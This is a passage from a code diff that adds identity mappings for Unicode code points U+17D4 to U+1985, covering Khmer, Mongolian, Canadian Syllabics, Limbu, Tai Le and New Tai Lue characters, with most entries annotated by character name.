+ ["\u17D4", "\u17D4"], /* KHMER SIGN KHAN */
+ ["\u17D5", "\u17D5"], /* KHMER SIGN BARIYOOSAN */
+ ["\u17D6", "\u17D6"], /* KHMER SIGN CAMNUC PII KUUH */
+ ["\u17D7", "\u17D7"], /* KHMER SIGN LEK TOO */
+ ["\u17D8", "\u17D8"], /* KHMER SIGN BEYYAL */
+ ["\u17D9", "\u17D9"], /* KHMER SIGN PHNAEK MUAN */
+ ["\u17DA", "\u17DA"], /* KHMER SIGN KOOMUUT */
+ ["\u17DB", "\u17DB"], /* KHMER CURRENCY SYMBOL RIEL */
+ ["\u17DC", "\u17DC"], /* KHMER SIGN AVAKRAHASANYA */
+ ["\u17DD", "\u17DD"], /* KHMER SIGN ATTHACAN */
+ ["\u17DE", "\u17DE"],
+ ["\u17DF", "\u17DF"],
+ ["\u17E0", "\u17E0"], /* KHMER DIGIT ZERO */
+ ["\u17E1", "\u17E1"], /* KHMER DIGIT ONE */
+ ["\u17E2", "\u17E2"], /* KHMER DIGIT TWO */
+ ["\u17E3", "\u17E3"], /* KHMER DIGIT THREE */
+ ["\u17E4", "\u17E4"], /* KHMER DIGIT FOUR */
+ ["\u17E5", "\u17E5"], /* KHMER DIGIT FIVE */
+ ["\u17E6", "\u17E6"], /* KHMER DIGIT SIX */
+ ["\u17E7", "\u17E7"], /* KHMER DIGIT SEVEN */
+ ["\u17E8", "\u17E8"], /* KHMER DIGIT EIGHT */
+ ["\u17E9", "\u17E9"], /* KHMER DIGIT NINE */
+ ["\u17EA", "\u17EA"],
+ ["\u17EB", "\u17EB"],
+ ["\u17EC", "\u17EC"],
+ ["\u17ED", "\u17ED"],
+ ["\u17EE", "\u17EE"],
+ ["\u17EF", "\u17EF"],
+ ["\u17F0", "\u17F0"], /* KHMER SYMBOL LEK ATTAK SON */
+ ["\u17F1", "\u17F1"], /* KHMER SYMBOL LEK ATTAK MUOY */
+ ["\u17F2", "\u17F2"], /* KHMER SYMBOL LEK ATTAK PII */
+ ["\u17F3", "\u17F3"], /* KHMER SYMBOL LEK ATTAK BEI */
+ ["\u17F4", "\u17F4"], /* KHMER SYMBOL LEK ATTAK BUON */
+ ["\u17F5", "\u17F5"], /* KHMER SYMBOL LEK ATTAK PRAM */
+ ["\u17F6", "\u17F6"], /* KHMER SYMBOL LEK ATTAK PRAM-MUOY */
+ ["\u17F7", "\u17F7"], /* KHMER SYMBOL LEK ATTAK PRAM-PII */
+ ["\u17F8", "\u17F8"], /* KHMER SYMBOL LEK ATTAK PRAM-BEI */
+ ["\u17F9", "\u17F9"], /* KHMER SYMBOL LEK ATTAK PRAM-BUON */
+ ["\u17FA", "\u17FA"],
+ ["\u17FB", "\u17FB"],
+ ["\u17FC", "\u17FC"],
+ ["\u17FD", "\u17FD"],
+ ["\u17FE", "\u17FE"],
+ ["\u17FF", "\u17FF"],
+ ["\u1800", "\u1800"], /* MONGOLIAN BIRGA */
+ ["\u1801", "\u1801"], /* MONGOLIAN ELLIPSIS */
+ ["\u1802", "\u1802"], /* MONGOLIAN COMMA */
+ ["\u1803", "\u1803"], /* MONGOLIAN FULL STOP */
+ ["\u1804", "\u1804"], /* MONGOLIAN COLON */
+ ["\u1805", "\u1805"], /* MONGOLIAN FOUR DOTS */
+ ["\u1806", "\u1806"], /* MONGOLIAN TODO SOFT HYPHEN */
+ ["\u1807", "\u1807"], /* MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER */
+ ["\u1808", "\u1808"], /* MONGOLIAN MANCHU COMMA */
+ ["\u1809", "\u1809"], /* MONGOLIAN MANCHU FULL STOP */
+ ["\u180A", "\u180A"], /* MONGOLIAN NIRUGU */
+ ["\u180B", "\u180B"], /* MONGOLIAN FREE VARIATION SELECTOR ONE */
+ ["\u180C", "\u180C"], /* MONGOLIAN FREE VARIATION SELECTOR TWO */
+ ["\u180D", "\u180D"], /* MONGOLIAN FREE VARIATION SELECTOR THREE */
+ ["\u180E", "\u180E"], /* MONGOLIAN VOWEL SEPARATOR */
+ ["\u180F", "\u180F"],
+ ["\u1810", "\u1810"], /* MONGOLIAN DIGIT ZERO */
+ ["\u1811", "\u1811"], /* MONGOLIAN DIGIT ONE */
+ ["\u1812", "\u1812"], /* MONGOLIAN DIGIT TWO */
+ ["\u1813", "\u1813"], /* MONGOLIAN DIGIT THREE */
+ ["\u1814", "\u1814"], /* MONGOLIAN DIGIT FOUR */
+ ["\u1815", "\u1815"], /* MONGOLIAN DIGIT FIVE */
+ ["\u1816", "\u1816"], /* MONGOLIAN DIGIT SIX */
+ ["\u1817", "\u1817"], /* MONGOLIAN DIGIT SEVEN */
+ ["\u1818", "\u1818"], /* MONGOLIAN DIGIT EIGHT */
+ ["\u1819", "\u1819"], /* MONGOLIAN DIGIT NINE */
+ ["\u181A", "\u181A"],
+ ["\u181B", "\u181B"],
+ ["\u181C", "\u181C"],
+ ["\u181D", "\u181D"],
+ ["\u181E", "\u181E"],
+ ["\u181F", "\u181F"],
+ ["\u1820", "\u1820"], /* MONGOLIAN LETTER A */
+ ["\u1821", "\u1821"], /* MONGOLIAN LETTER E */
+ ["\u1822", "\u1822"], /* MONGOLIAN LETTER I */
+ ["\u1823", "\u1823"], /* MONGOLIAN LETTER O */
+ ["\u1824", "\u1824"], /* MONGOLIAN LETTER U */
+ ["\u1825", "\u1825"], /* MONGOLIAN LETTER OE */
+ ["\u1826", "\u1826"], /* MONGOLIAN LETTER UE */
+ ["\u1827", "\u1827"], /* MONGOLIAN LETTER EE */
+ ["\u1828", "\u1828"], /* MONGOLIAN LETTER NA */
+ ["\u1829", "\u1829"], /* MONGOLIAN LETTER ANG */
+ ["\u182A", "\u182A"], /* MONGOLIAN LETTER BA */
+ ["\u182B", "\u182B"], /* MONGOLIAN LETTER PA */
+ ["\u182C", "\u182C"], /* MONGOLIAN LETTER QA */
+ ["\u182D", "\u182D"], /* MONGOLIAN LETTER GA */
+ ["\u182E", "\u182E"], /* MONGOLIAN LETTER MA */
+ ["\u182F", "\u182F"], /* MONGOLIAN LETTER LA */
+ ["\u1830", "\u1830"], /* MONGOLIAN LETTER SA */
+ ["\u1831", "\u1831"], /* MONGOLIAN LETTER SHA */
+ ["\u1832", "\u1832"], /* MONGOLIAN LETTER TA */
+ ["\u1833", "\u1833"], /* MONGOLIAN LETTER DA */
+ ["\u1834", "\u1834"], /* MONGOLIAN LETTER CHA */
+ ["\u1835", "\u1835"], /* MONGOLIAN LETTER JA */
+ ["\u1836", "\u1836"], /* MONGOLIAN LETTER YA */
+ ["\u1837", "\u1837"], /* MONGOLIAN LETTER RA */
+ ["\u1838", "\u1838"], /* MONGOLIAN LETTER WA */
+ ["\u1839", "\u1839"], /* MONGOLIAN LETTER FA */
+ ["\u183A", "\u183A"], /* MONGOLIAN LETTER KA */
+ ["\u183B", "\u183B"], /* MONGOLIAN LETTER KHA */
+ ["\u183C", "\u183C"], /* MONGOLIAN LETTER TSA */
+ ["\u183D", "\u183D"], /* MONGOLIAN LETTER ZA */
+ ["\u183E", "\u183E"], /* MONGOLIAN LETTER HAA */
+ ["\u183F", "\u183F"], /* MONGOLIAN LETTER ZRA */
+ ["\u1840", "\u1840"], /* MONGOLIAN LETTER LHA */
+ ["\u1841", "\u1841"], /* MONGOLIAN LETTER ZHI */
+ ["\u1842", "\u1842"], /* MONGOLIAN LETTER CHI */
+ ["\u1843", "\u1843"], /* MONGOLIAN LETTER TODO LONG VOWEL SIGN */
+ ["\u1844", "\u1844"], /* MONGOLIAN LETTER TODO E */
+ ["\u1845", "\u1845"], /* MONGOLIAN LETTER TODO I */
+ ["\u1846", "\u1846"], /* MONGOLIAN LETTER TODO O */
+ ["\u1847", "\u1847"], /* MONGOLIAN LETTER TODO U */
+ ["\u1848", "\u1848"], /* MONGOLIAN LETTER TODO OE */
+ ["\u1849", "\u1849"], /* MONGOLIAN LETTER TODO UE */
+ ["\u184A", "\u184A"], /* MONGOLIAN LETTER TODO ANG */
+ ["\u184B", "\u184B"], /* MONGOLIAN LETTER TODO BA */
+ ["\u184C", "\u184C"], /* MONGOLIAN LETTER TODO PA */
+ ["\u184D", "\u184D"], /* MONGOLIAN LETTER TODO QA */
+ ["\u184E", "\u184E"], /* MONGOLIAN LETTER TODO GA */
+ ["\u184F", "\u184F"], /* MONGOLIAN LETTER TODO MA */
+ ["\u1850", "\u1850"], /* MONGOLIAN LETTER TODO TA */
+ ["\u1851", "\u1851"], /* MONGOLIAN LETTER TODO DA */
+ ["\u1852", "\u1852"], /* MONGOLIAN LETTER TODO CHA */
+ ["\u1853", "\u1853"], /* MONGOLIAN LETTER TODO JA */
+ ["\u1854", "\u1854"], /* MONGOLIAN LETTER TODO TSA */
+ ["\u1855", "\u1855"], /* MONGOLIAN LETTER TODO YA */
+ ["\u1856", "\u1856"], /* MONGOLIAN LETTER TODO WA */
+ ["\u1857", "\u1857"], /* MONGOLIAN LETTER TODO KA */
+ ["\u1858", "\u1858"], /* MONGOLIAN LETTER TODO GAA */
+ ["\u1859", "\u1859"], /* MONGOLIAN LETTER TODO HAA */
+ ["\u185A", "\u185A"], /* MONGOLIAN LETTER TODO JIA */
+ ["\u185B", "\u185B"], /* MONGOLIAN LETTER TODO NIA */
+ ["\u185C", "\u185C"], /* MONGOLIAN LETTER TODO DZA */
+ ["\u185D", "\u185D"], /* MONGOLIAN LETTER SIBE E */
+ ["\u185E", "\u185E"], /* MONGOLIAN LETTER SIBE I */
+ ["\u185F", "\u185F"], /* MONGOLIAN LETTER SIBE IY */
+ ["\u1860", "\u1860"], /* MONGOLIAN LETTER SIBE UE */
+ ["\u1861", "\u1861"], /* MONGOLIAN LETTER SIBE U */
+ ["\u1862", "\u1862"], /* MONGOLIAN LETTER SIBE ANG */
+ ["\u1863", "\u1863"], /* MONGOLIAN LETTER SIBE KA */
+ ["\u1864", "\u1864"], /* MONGOLIAN LETTER SIBE GA */
+ ["\u1865", "\u1865"], /* MONGOLIAN LETTER SIBE HA */
+ ["\u1866", "\u1866"], /* MONGOLIAN LETTER SIBE PA */
+ ["\u1867", "\u1867"], /* MONGOLIAN LETTER SIBE SHA */
+ ["\u1868", "\u1868"], /* MONGOLIAN LETTER SIBE TA */
+ ["\u1869", "\u1869"], /* MONGOLIAN LETTER SIBE DA */
+ ["\u186A", "\u186A"], /* MONGOLIAN LETTER SIBE JA */
+ ["\u186B", "\u186B"], /* MONGOLIAN LETTER SIBE FA */
+ ["\u186C", "\u186C"], /* MONGOLIAN LETTER SIBE GAA */
+ ["\u186D", "\u186D"], /* MONGOLIAN LETTER SIBE HAA */
+ ["\u186E", "\u186E"], /* MONGOLIAN LETTER SIBE TSA */
+ ["\u186F", "\u186F"], /* MONGOLIAN LETTER SIBE ZA */
+ ["\u1870", "\u1870"], /* MONGOLIAN LETTER SIBE RAA */
+ ["\u1871", "\u1871"], /* MONGOLIAN LETTER SIBE CHA */
+ ["\u1872", "\u1872"], /* MONGOLIAN LETTER SIBE ZHA */
+ ["\u1873", "\u1873"], /* MONGOLIAN LETTER MANCHU I */
+ ["\u1874", "\u1874"], /* MONGOLIAN LETTER MANCHU KA */
+ ["\u1875", "\u1875"], /* MONGOLIAN LETTER MANCHU RA */
+ ["\u1876", "\u1876"], /* MONGOLIAN LETTER MANCHU FA */
+ ["\u1877", "\u1877"], /* MONGOLIAN LETTER MANCHU ZHA */
+ ["\u1878", "\u1878"], /* MONGOLIAN LETTER CHA WITH TWO DOTS */
+ ["\u1879", "\u1879"],
+ ["\u187A", "\u187A"],
+ ["\u187B", "\u187B"],
+ ["\u187C", "\u187C"],
+ ["\u187D", "\u187D"],
+ ["\u187E", "\u187E"],
+ ["\u187F", "\u187F"],
+ ["\u1880", "\u1880"], /* MONGOLIAN LETTER ALI GALI ANUSVARA ONE */
+ ["\u1881", "\u1881"], /* MONGOLIAN LETTER ALI GALI VISARGA ONE */
+ ["\u1882", "\u1882"], /* MONGOLIAN LETTER ALI GALI DAMARU */
+ ["\u1883", "\u1883"], /* MONGOLIAN LETTER ALI GALI UBADAMA */
+ ["\u1884", "\u1884"], /* MONGOLIAN LETTER ALI GALI INVERTED UBADAMA */
+ ["\u1885", "\u1885"], /* MONGOLIAN LETTER ALI GALI BALUDA */
+ ["\u1886", "\u1886"], /* MONGOLIAN LETTER ALI GALI THREE BALUDA */
+ ["\u1887", "\u1887"], /* MONGOLIAN LETTER ALI GALI A */
+ ["\u1888", "\u1888"], /* MONGOLIAN LETTER ALI GALI I */
+ ["\u1889", "\u1889"], /* MONGOLIAN LETTER ALI GALI KA */
+ ["\u188A", "\u188A"], /* MONGOLIAN LETTER ALI GALI NGA */
+ ["\u188B", "\u188B"], /* MONGOLIAN LETTER ALI GALI CA */
+ ["\u188C", "\u188C"], /* MONGOLIAN LETTER ALI GALI TTA */
+ ["\u188D", "\u188D"], /* MONGOLIAN LETTER ALI GALI TTHA */
+ ["\u188E", "\u188E"], /* MONGOLIAN LETTER ALI GALI DDA */
+ ["\u188F", "\u188F"], /* MONGOLIAN LETTER ALI GALI NNA */
+ ["\u1890", "\u1890"], /* MONGOLIAN LETTER ALI GALI TA */
+ ["\u1891", "\u1891"], /* MONGOLIAN LETTER ALI GALI DA */
+ ["\u1892", "\u1892"], /* MONGOLIAN LETTER ALI GALI PA */
+ ["\u1893", "\u1893"], /* MONGOLIAN LETTER ALI GALI PHA */
+ ["\u1894", "\u1894"], /* MONGOLIAN LETTER ALI GALI SSA */
+ ["\u1895", "\u1895"], /* MONGOLIAN LETTER ALI GALI ZHA */
+ ["\u1896", "\u1896"], /* MONGOLIAN LETTER ALI GALI ZA */
+ ["\u1897", "\u1897"], /* MONGOLIAN LETTER ALI GALI AH */
+ ["\u1898", "\u1898"], /* MONGOLIAN LETTER TODO ALI GALI TA */
+ ["\u1899", "\u1899"], /* MONGOLIAN LETTER TODO ALI GALI ZHA */
+ ["\u189A", "\u189A"], /* MONGOLIAN LETTER MANCHU ALI GALI GHA */
+ ["\u189B", "\u189B"], /* MONGOLIAN LETTER MANCHU ALI GALI NGA */
+ ["\u189C", "\u189C"], /* MONGOLIAN LETTER MANCHU ALI GALI CA */
+ ["\u189D", "\u189D"], /* MONGOLIAN LETTER MANCHU ALI GALI JHA */
+ ["\u189E", "\u189E"], /* MONGOLIAN LETTER MANCHU ALI GALI TTA */
+ ["\u189F", "\u189F"], /* MONGOLIAN LETTER MANCHU ALI GALI DDHA */
+ ["\u18A0", "\u18A0"], /* MONGOLIAN LETTER MANCHU ALI GALI TA */
+ ["\u18A1", "\u18A1"], /* MONGOLIAN LETTER MANCHU ALI GALI DHA */
+ ["\u18A2", "\u18A2"], /* MONGOLIAN LETTER MANCHU ALI GALI SSA */
+ ["\u18A3", "\u18A3"], /* MONGOLIAN LETTER MANCHU ALI GALI CYA */
+ ["\u18A4", "\u18A4"], /* MONGOLIAN LETTER MANCHU ALI GALI ZHA */
+ ["\u18A5", "\u18A5"], /* MONGOLIAN LETTER MANCHU ALI GALI ZA */
+ ["\u18A6", "\u18A6"], /* MONGOLIAN LETTER ALI GALI HALF U */
+ ["\u18A7", "\u18A7"], /* MONGOLIAN LETTER ALI GALI HALF YA */
+ ["\u18A8", "\u18A8"], /* MONGOLIAN LETTER MANCHU ALI GALI BHA */
+ ["\u18A9", "\u18A9"], /* MONGOLIAN LETTER ALI GALI DAGALGA */
+ ["\u18AA", "\u18AA"], /* MONGOLIAN LETTER MANCHU ALI GALI LHA */
+ ["\u18AB", "\u18AB"],
+ ["\u18AC", "\u18AC"],
+ ["\u18AD", "\u18AD"],
+ ["\u18AE", "\u18AE"],
+ ["\u18AF", "\u18AF"],
+ ["\u18B0", "\u18B0"], /* CANADIAN SYLLABICS OY */
+ ["\u18B1", "\u18B1"], /* CANADIAN SYLLABICS AY */
+ ["\u18B2", "\u18B2"], /* CANADIAN SYLLABICS AAY */
+ ["\u18B3", "\u18B3"], /* CANADIAN SYLLABICS WAY */
+ ["\u18B4", "\u18B4"], /* CANADIAN SYLLABICS POY */
+ ["\u18B5", "\u18B5"], /* CANADIAN SYLLABICS PAY */
+ ["\u18B6", "\u18B6"], /* CANADIAN SYLLABICS PWOY */
+ ["\u18B7", "\u18B7"], /* CANADIAN SYLLABICS TAY */
+ ["\u18B8", "\u18B8"], /* CANADIAN SYLLABICS KAY */
+ ["\u18B9", "\u18B9"], /* CANADIAN SYLLABICS KWAY */
+ ["\u18BA", "\u18BA"], /* CANADIAN SYLLABICS MAY */
+ ["\u18BB", "\u18BB"], /* CANADIAN SYLLABICS NOY */
+ ["\u18BC", "\u18BC"], /* CANADIAN SYLLABICS NAY */
+ ["\u18BD", "\u18BD"], /* CANADIAN SYLLABICS LAY */
+ ["\u18BE", "\u18BE"], /* CANADIAN SYLLABICS SOY */
+ ["\u18BF", "\u18BF"], /* CANADIAN SYLLABICS SAY */
+ ["\u18C0", "\u18C0"], /* CANADIAN SYLLABICS SHOY */
+ ["\u18C1", "\u18C1"], /* CANADIAN SYLLABICS SHAY */
+ ["\u18C2", "\u18C2"], /* CANADIAN SYLLABICS SHWOY */
+ ["\u18C3", "\u18C3"], /* CANADIAN SYLLABICS YOY */
+ ["\u18C4", "\u18C4"], /* CANADIAN SYLLABICS YAY */
+ ["\u18C5", "\u18C5"], /* CANADIAN SYLLABICS RAY */
+ ["\u18C6", "\u18C6"], /* CANADIAN SYLLABICS NWI */
+ ["\u18C7", "\u18C7"], /* CANADIAN SYLLABICS OJIBWAY NWI */
+ ["\u18C8", "\u18C8"], /* CANADIAN SYLLABICS NWII */
+ ["\u18C9", "\u18C9"], /* CANADIAN SYLLABICS OJIBWAY NWII */
+ ["\u18CA", "\u18CA"], /* CANADIAN SYLLABICS NWO */
+ ["\u18CB", "\u18CB"], /* CANADIAN SYLLABICS OJIBWAY NWO */
+ ["\u18CC", "\u18CC"], /* CANADIAN SYLLABICS NWOO */
+ ["\u18CD", "\u18CD"], /* CANADIAN SYLLABICS OJIBWAY NWOO */
+ ["\u18CE", "\u18CE"], /* CANADIAN SYLLABICS RWEE */
+ ["\u18CF", "\u18CF"], /* CANADIAN SYLLABICS RWI */
+ ["\u18D0", "\u18D0"], /* CANADIAN SYLLABICS RWII */
+ ["\u18D1", "\u18D1"], /* CANADIAN SYLLABICS RWO */
+ ["\u18D2", "\u18D2"], /* CANADIAN SYLLABICS RWOO */
+ ["\u18D3", "\u18D3"], /* CANADIAN SYLLABICS RWA */
+ ["\u18D4", "\u18D4"], /* CANADIAN SYLLABICS OJIBWAY P */
+ ["\u18D5", "\u18D5"], /* CANADIAN SYLLABICS OJIBWAY T */
+ ["\u18D6", "\u18D6"], /* CANADIAN SYLLABICS OJIBWAY K */
+ ["\u18D7", "\u18D7"], /* CANADIAN SYLLABICS OJIBWAY C */
+ ["\u18D8", "\u18D8"], /* CANADIAN SYLLABICS OJIBWAY M */
+ ["\u18D9", "\u18D9"], /* CANADIAN SYLLABICS OJIBWAY N */
+ ["\u18DA", "\u18DA"], /* CANADIAN SYLLABICS OJIBWAY S */
+ ["\u18DB", "\u18DB"], /* CANADIAN SYLLABICS OJIBWAY SH */
+ ["\u18DC", "\u18DC"], /* CANADIAN SYLLABICS EASTERN W */
+ ["\u18DD", "\u18DD"], /* CANADIAN SYLLABICS WESTERN W */
+ ["\u18DE", "\u18DE"], /* CANADIAN SYLLABICS FINAL SMALL RING */
+ ["\u18DF", "\u18DF"], /* CANADIAN SYLLABICS FINAL RAISED DOT */
+ ["\u18E0", "\u18E0"], /* CANADIAN SYLLABICS R-CREE RWE */
+ ["\u18E1", "\u18E1"], /* CANADIAN SYLLABICS WEST-CREE LOO */
+ ["\u18E2", "\u18E2"], /* CANADIAN SYLLABICS WEST-CREE LAA */
+ ["\u18E3", "\u18E3"], /* CANADIAN SYLLABICS THWE */
+ ["\u18E4", "\u18E4"], /* CANADIAN SYLLABICS THWA */
+ ["\u18E5", "\u18E5"], /* CANADIAN SYLLABICS TTHWE */
+ ["\u18E6", "\u18E6"], /* CANADIAN SYLLABICS TTHOO */
+ ["\u18E7", "\u18E7"], /* CANADIAN SYLLABICS TTHAA */
+ ["\u18E8", "\u18E8"], /* CANADIAN SYLLABICS TLHWE */
+ ["\u18E9", "\u18E9"], /* CANADIAN SYLLABICS TLHOO */
+ ["\u18EA", "\u18EA"], /* CANADIAN SYLLABICS SAYISI SHWE */
+ ["\u18EB", "\u18EB"], /* CANADIAN SYLLABICS SAYISI SHOO */
+ ["\u18EC", "\u18EC"], /* CANADIAN SYLLABICS SAYISI HOO */
+ ["\u18ED", "\u18ED"], /* CANADIAN SYLLABICS CARRIER GWU */
+ ["\u18EE", "\u18EE"], /* CANADIAN SYLLABICS CARRIER DENE GEE */
+ ["\u18EF", "\u18EF"], /* CANADIAN SYLLABICS CARRIER GAA */
+ ["\u18F0", "\u18F0"], /* CANADIAN SYLLABICS CARRIER GWA */
+ ["\u18F1", "\u18F1"], /* CANADIAN SYLLABICS SAYISI JUU */
+ ["\u18F2", "\u18F2"], /* CANADIAN SYLLABICS CARRIER JWA */
+ ["\u18F3", "\u18F3"], /* CANADIAN SYLLABICS BEAVER DENE L */
+ ["\u18F4", "\u18F4"], /* CANADIAN SYLLABICS BEAVER DENE R */
+ ["\u18F5", "\u18F5"], /* CANADIAN SYLLABICS CARRIER DENTAL S */
+ ["\u18F6", "\u18F6"],
+ ["\u18F7", "\u18F7"],
+ ["\u18F8", "\u18F8"],
+ ["\u18F9", "\u18F9"],
+ ["\u18FA", "\u18FA"],
+ ["\u18FB", "\u18FB"],
+ ["\u18FC", "\u18FC"],
+ ["\u18FD", "\u18FD"],
+ ["\u18FE", "\u18FE"],
+ ["\u18FF", "\u18FF"],
+ ["\u1900", "\u1900"], /* LIMBU VOWEL-CARRIER LETTER */
+ ["\u1901", "\u1901"], /* LIMBU LETTER KA */
+ ["\u1902", "\u1902"], /* LIMBU LETTER KHA */
+ ["\u1903", "\u1903"], /* LIMBU LETTER GA */
+ ["\u1904", "\u1904"], /* LIMBU LETTER GHA */
+ ["\u1905", "\u1905"], /* LIMBU LETTER NGA */
+ ["\u1906", "\u1906"], /* LIMBU LETTER CA */
+ ["\u1907", "\u1907"], /* LIMBU LETTER CHA */
+ ["\u1908", "\u1908"], /* LIMBU LETTER JA */
+ ["\u1909", "\u1909"], /* LIMBU LETTER JHA */
+ ["\u190A", "\u190A"], /* LIMBU LETTER YAN */
+ ["\u190B", "\u190B"], /* LIMBU LETTER TA */
+ ["\u190C", "\u190C"], /* LIMBU LETTER THA */
+ ["\u190D", "\u190D"], /* LIMBU LETTER DA */
+ ["\u190E", "\u190E"], /* LIMBU LETTER DHA */
+ ["\u190F", "\u190F"], /* LIMBU LETTER NA */
+ ["\u1910", "\u1910"], /* LIMBU LETTER PA */
+ ["\u1911", "\u1911"], /* LIMBU LETTER PHA */
+ ["\u1912", "\u1912"], /* LIMBU LETTER BA */
+ ["\u1913", "\u1913"], /* LIMBU LETTER BHA */
+ ["\u1914", "\u1914"], /* LIMBU LETTER MA */
+ ["\u1915", "\u1915"], /* LIMBU LETTER YA */
+ ["\u1916", "\u1916"], /* LIMBU LETTER RA */
+ ["\u1917", "\u1917"], /* LIMBU LETTER LA */
+ ["\u1918", "\u1918"], /* LIMBU LETTER WA */
+ ["\u1919", "\u1919"], /* LIMBU LETTER SHA */
+ ["\u191A", "\u191A"], /* LIMBU LETTER SSA */
+ ["\u191B", "\u191B"], /* LIMBU LETTER SA */
+ ["\u191C", "\u191C"], /* LIMBU LETTER HA */
+ ["\u191D", "\u191D"], /* LIMBU LETTER GYAN */
+ ["\u191E", "\u191E"], /* LIMBU LETTER TRA */
+ ["\u191F", "\u191F"],
+ ["\u1920", "\u1920"], /* LIMBU VOWEL SIGN A */
+ ["\u1921", "\u1921"], /* LIMBU VOWEL SIGN I */
+ ["\u1922", "\u1922"], /* LIMBU VOWEL SIGN U */
+ ["\u1923", "\u1923"], /* LIMBU VOWEL SIGN EE */
+ ["\u1924", "\u1924"], /* LIMBU VOWEL SIGN AI */
+ ["\u1925", "\u1925"], /* LIMBU VOWEL SIGN OO */
+ ["\u1926", "\u1926"], /* LIMBU VOWEL SIGN AU */
+ ["\u1927", "\u1927"], /* LIMBU VOWEL SIGN E */
+ ["\u1928", "\u1928"], /* LIMBU VOWEL SIGN O */
+ ["\u1929", "\u1929"], /* LIMBU SUBJOINED LETTER YA */
+ ["\u192A", "\u192A"], /* LIMBU SUBJOINED LETTER RA */
+ ["\u192B", "\u192B"], /* LIMBU SUBJOINED LETTER WA */
+ ["\u192C", "\u192C"],
+ ["\u192D", "\u192D"],
+ ["\u192E", "\u192E"],
+ ["\u192F", "\u192F"],
+ ["\u1930", "\u1930"], /* LIMBU SMALL LETTER KA */
+ ["\u1931", "\u1931"], /* LIMBU SMALL LETTER NGA */
+ ["\u1932", "\u1932"], /* LIMBU SMALL LETTER ANUSVARA */
+ ["\u1933", "\u1933"], /* LIMBU SMALL LETTER TA */
+ ["\u1934", "\u1934"], /* LIMBU SMALL LETTER NA */
+ ["\u1935", "\u1935"], /* LIMBU SMALL LETTER PA */
+ ["\u1936", "\u1936"], /* LIMBU SMALL LETTER MA */
+ ["\u1937", "\u1937"], /* LIMBU SMALL LETTER RA */
+ ["\u1938", "\u1938"], /* LIMBU SMALL LETTER LA */
+ ["\u1939", "\u1939"], /* LIMBU SIGN MUKPHRENG */
+ ["\u193A", "\u193A"], /* LIMBU SIGN KEMPHRENG */
+ ["\u193B", "\u193B"], /* LIMBU SIGN SA-I */
+ ["\u193C", "\u193C"],
+ ["\u193D", "\u193D"],
+ ["\u193E", "\u193E"],
+ ["\u193F", "\u193F"],
+ ["\u1940", "\u1940"], /* LIMBU SIGN LOO */
+ ["\u1941", "\u1941"],
+ ["\u1942", "\u1942"],
+ ["\u1943", "\u1943"],
+ ["\u1944", "\u1944"], /* LIMBU EXCLAMATION MARK */
+ ["\u1945", "\u1945"], /* LIMBU QUESTION MARK */
+ ["\u1946", "\u1946"], /* LIMBU DIGIT ZERO */
+ ["\u1947", "\u1947"], /* LIMBU DIGIT ONE */
+ ["\u1948", "\u1948"], /* LIMBU DIGIT TWO */
+ ["\u1949", "\u1949"], /* LIMBU DIGIT THREE */
+ ["\u194A", "\u194A"], /* LIMBU DIGIT FOUR */
+ ["\u194B", "\u194B"], /* LIMBU DIGIT FIVE */
+ ["\u194C", "\u194C"], /* LIMBU DIGIT SIX */
+ ["\u194D", "\u194D"], /* LIMBU DIGIT SEVEN */
+ ["\u194E", "\u194E"], /* LIMBU DIGIT EIGHT */
+ ["\u194F", "\u194F"], /* LIMBU DIGIT NINE */
+ ["\u1950", "\u1950"], /* TAI LE LETTER KA */
+ ["\u1951", "\u1951"], /* TAI LE LETTER XA */
+ ["\u1952", "\u1952"], /* TAI LE LETTER NGA */
+ ["\u1953", "\u1953"], /* TAI LE LETTER TSA */
+ ["\u1954", "\u1954"], /* TAI LE LETTER SA */
+ ["\u1955", "\u1955"], /* TAI LE LETTER YA */
+ ["\u1956", "\u1956"], /* TAI LE LETTER TA */
+ ["\u1957", "\u1957"], /* TAI LE LETTER THA */
+ ["\u1958", "\u1958"], /* TAI LE LETTER LA */
+ ["\u1959", "\u1959"], /* TAI LE LETTER PA */
+ ["\u195A", "\u195A"], /* TAI LE LETTER PHA */
+ ["\u195B", "\u195B"], /* TAI LE LETTER MA */
+ ["\u195C", "\u195C"], /* TAI LE LETTER FA */
+ ["\u195D", "\u195D"], /* TAI LE LETTER VA */
+ ["\u195E", "\u195E"], /* TAI LE LETTER HA */
+ ["\u195F", "\u195F"], /* TAI LE LETTER QA */
+ ["\u1960", "\u1960"], /* TAI LE LETTER KHA */
+ ["\u1961", "\u1961"], /* TAI LE LETTER TSHA */
+ ["\u1962", "\u1962"], /* TAI LE LETTER NA */
+ ["\u1963", "\u1963"], /* TAI LE LETTER A */
+ ["\u1964", "\u1964"], /* TAI LE LETTER I */
+ ["\u1965", "\u1965"], /* TAI LE LETTER EE */
+ ["\u1966", "\u1966"], /* TAI LE LETTER EH */
+ ["\u1967", "\u1967"], /* TAI LE LETTER U */
+ ["\u1968", "\u1968"], /* TAI LE LETTER OO */
+ ["\u1969", "\u1969"], /* TAI LE LETTER O */
+ ["\u196A", "\u196A"], /* TAI LE LETTER UE */
+ ["\u196B", "\u196B"], /* TAI LE LETTER E */
+ ["\u196C", "\u196C"], /* TAI LE LETTER AUE */
+ ["\u196D", "\u196D"], /* TAI LE LETTER AI */
+ ["\u196E", "\u196E"],
+ ["\u196F", "\u196F"],
+ ["\u1970", "\u1970"], /* TAI LE LETTER TONE-2 */
+ ["\u1971", "\u1971"], /* TAI LE LETTER TONE-3 */
+ ["\u1972", "\u1972"], /* TAI LE LETTER TONE-4 */
+ ["\u1973", "\u1973"], /* TAI LE LETTER TONE-5 */
+ ["\u1974", "\u1974"], /* TAI LE LETTER TONE-6 */
+ ["\u1975", "\u1975"],
+ ["\u1976", "\u1976"],
+ ["\u1977", "\u1977"],
+ ["\u1978", "\u1978"],
+ ["\u1979", "\u1979"],
+ ["\u197A", "\u197A"],
+ ["\u197B", "\u197B"],
+ ["\u197C", "\u197C"],
+ ["\u197D", "\u197D"],
+ ["\u197E", "\u197E"],
+ ["\u197F", "\u197F"],
+ ["\u1980", "\u1980"], /* NEW TAI LUE LETTER HIGH QA */
+ ["\u1981", "\u1981"], /* NEW TAI LUE LETTER LOW QA */
+ ["\u1982", "\u1982"], /* NEW TAI LUE LETTER HIGH KA */
+ ["\u1983", "\u1983"], /* NEW TAI LUE LETTER HIGH XA */
+ ["\u1984", "\u1984"], /* NEW TAI LUE LETTER HIGH NGA */
+ ["\u1985", "\u1985"], /* NEW TAI LUE LETTER LOW KA */
